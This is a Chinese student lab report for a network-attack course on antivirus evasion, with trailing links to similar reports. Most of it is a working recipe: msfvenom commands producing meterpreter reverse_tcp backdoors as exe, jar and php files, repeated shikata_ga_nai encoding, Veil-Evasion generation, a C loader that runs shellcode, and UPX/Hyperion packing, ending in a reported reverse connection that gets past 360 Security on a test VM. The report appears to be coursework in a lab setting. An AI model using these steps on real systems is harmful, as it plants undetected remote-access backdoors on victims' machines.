2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践


免杀原理及基础问题回答

一、免杀原理

  • 免杀就是通过一定的手段,将文件进行“整容”,让杀软无法识别,已达到免于被杀软查杀的目的。
  • 免杀思路:(1)对病毒木马文件进行修改;(2)拓展病毒木马文件功能,甚至是攻击杀软来达到目的。

二、基础问题回答

  • 问:杀软是如何检测出恶意代码的?

    • 特征码是指杀软针对相应病毒或木马所特有的特点截取的一段二进制代码(涵盖了十六进制代码、汇编指令等)。杀软就是依靠检查文件特征码来识别一个文件是不是病毒或木马。
    • 启发式恶意软件检测:启发式指 “自我发现的能力”或“运用某种方式或方法去判定事物的知识和技能”, 是杀毒软件能够分析文件代码的逻辑结构是否含有恶意程序特征,或者通过在一个虚拟的安全环境中前摄性的执行代码来判断其是否有恶意行为
    • 基于行为的恶意软件检测:通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
  • 问:免杀是做什么?
    • 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。
  • 问:免杀的基本方法有哪些?
    • 改变特征码

      • 只有EXE——加壳
      • 有shellcode——利用encode进行编码
      • 有源代码——用其他语言进行重写再编译
        • veil-evasion
        • 半手工
    • 改变行为
      • 通讯方式

        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存的操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码

三、免杀效果评价
利用VirusTotalVirscan,可以上传免杀处理过的程序进行检测。

返回目录


实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 实验二中使用msf生成了后门程序,使用VirusTotalVirscan这两个网站对生成的后门程序进行扫描。

  • 用VirusTotal扫描后结果如下:

  • Virscan网站的扫描结果如下:

下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测

  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中
  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.155 LPORT= -f exe > ljx-backdoor.exe

  • 进行十次编码
  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.1.155 LPORT= -f exe > ljx-backdoor10.exe
  • 将编码十次后的可执行文件上传到VirusTotal扫描后结果如下

  • 可见多次编码对免杀没有太大的效果,原因有两点:
  1. 杀软只要盯住shikata_ga_nai解码(decoder stub)加入exe的部分。
  2. msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。

2. msfvenom生成jar文件

  • 生成java后门程序使用命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= x> ljx_backdoor_java.jar

  • 生成文件如下所示:

  • 扫描结果如下:

3. msfvenom生成php文件

  • 生成PHP后门程序使用命令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= x> ljx_backdoor.php

  • 生成文件如下所示:

  • 扫描结果如下:

返回目录

4. 使用veil-evasion生成后门程序及检测

安装veil

  • 因为镜像版本原因,在安装之先执行下面的指令
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • 用sudo apt-get install veil-evasion命令安装Veil
  • 之后用veil打开veil,输入y继续安装直至完成:

  • 用use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.1.155,注意此处的IP是KaliIP;

  • 设置端口,命令为:set LPORT

  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5311

  • 如上图所示,保存路径为/var/lib/veil/output/compiled/veil_c_5311.exe

  • 检测一下:

返回目录

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= -f c用c语言生成一段shellcode;

  • 创建一个文件.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 使用命令:i686-w64-mingw32-g++ .c -o .exe编译这个.c文件为可执行文件;

  • 检测结果如下图:

  • 当想要使用windows上执行该程序时,被电脑的360卫士查杀。

返回目录


任务二:通过组合应用各种技术实现恶意代码免杀

  • 使用压缩壳(UPX)
  • 给之前的20165318.exe加个壳得到sxx_upxed.exe:

  • 还是被杀软查杀了

  • 加密壳Hyperion
  1. 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  2. 进入 /usr/share/windows-binaries/hyperion/
  3. 输入命令wine hyperion.exe -v ljx_upxed.exe ljx_upxed_Hyperion.exe进行加壳:

  • 尝试一下反弹连接

  • 网页检查一下

返回目录


任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 免杀方法:先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
  • 实验环境:对方电脑为 win7虚拟机,360安全卫士11.4.0.2003(由于我的kali问题,最后一个任务我与5329何佳伟用了同一个win7系统进行反弹连接)

  • 反弹连接结果、

返回目录


离实战还缺些什么技术或步骤?

  • 由于病毒库的更新速度非常的快,我们只有掌握更加成熟的技术来包装病毒才能不被查杀到。

  • 对于实战来说,我还需要学习更多对病毒的改造方法。

返回目录


实验遇到的问题及解决方法

在安装veil evasion的时候展开包一直失败,后来上网百度了以后才知道这个和版本有关系

输入以下代码之后问题就顺利解决了

mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

返回目录


实践总结与体会

首先那个veil太难装了总出错,一开始装了一个晚上最后还是失败了,这次实验学到了很多知识。

最重要也是最有趣的就是如何把后门软件进行改造来让它伪装骗过所有的杀毒软件,而且实验中

也让我们也见识到了中国杀毒软件的“菜”,学习永无止境!

返回目录

2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. 使用IntelliJ IDEA 配置Maven(转)

    1. 下载Maven 官方地址:http://maven.apache.org/download.cgi 解压并新建一个本地仓库文件夹 2.配置本地仓库路径 3.配置maven环境变量 4.在Inte ...

  2. MyBatis联表查询

    MyBatis逆向工程主要用于单表操作,那么需要进行联表操作时,往往需要我们自己去写sql语句. 写sql语句之前,我们先修改一下实体类 Course.java: public class Cours ...

  3. DQL、DML、DDL、DCL区别

    DQL(data query language)数据查询语言 主要是由SELECT构成的查询语句 基本语法:select 字段名 from 表名 where 查询条件 DML(data manipul ...

  4. JSR286portlet中使用Ajax的方法

    JSR286portlet支持Ajax 一个平常的portlet先,jsr286类型. /Train01/WebContent/WEB-INF/portlet.xml <?xml version ...

  5. brew install

    1. 访问  https://brew.sh/ 命令行下运行: /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.co ...

  6. Redis学习之二 数据类型和相关命令

    原文:https://www.cnblogs.com/lonelyxmas/p/9073928.html 如果还不懂安装的,请看 Windows环境下安装Redis Redis一共支持五种数据类型 1 ...

  7. java.lang.NoClassDefFoundError: org/apache/commons/lang3/StringUtils

    ♦ 问题所在:项目lib包里少一个jar包 ♦ 解决办法: commons-lang3-3.1.jar 导入到项目就ok

  8. file_get_contents函数偶尔报错的抑制显示

    $result = @file_get_contents($url);可以使用@进行抑制file_get_contents()的报错 @是为了抑制错误显示,让用户看不到,提升用户体验.注意:只是抑制错 ...

  9. Win下必备神器之Cmder

    诚言,对于开发码字者,Mac和Linux果断要比Windows更贴心;但只要折腾下,Windows下也是有不少利器的.之前就有在Windows下效率必备软件一文中对此做了下记载:其虽没oh-my-zs ...

  10. MariaDB报错Plugin 'InnoDB' init function returned error.解决方案

    重新安装MariaDB后,服务一直启动不起来,查看日志有以下错误: InnoDB: No valid checkpoint found. InnoDB: If you are attempting d ...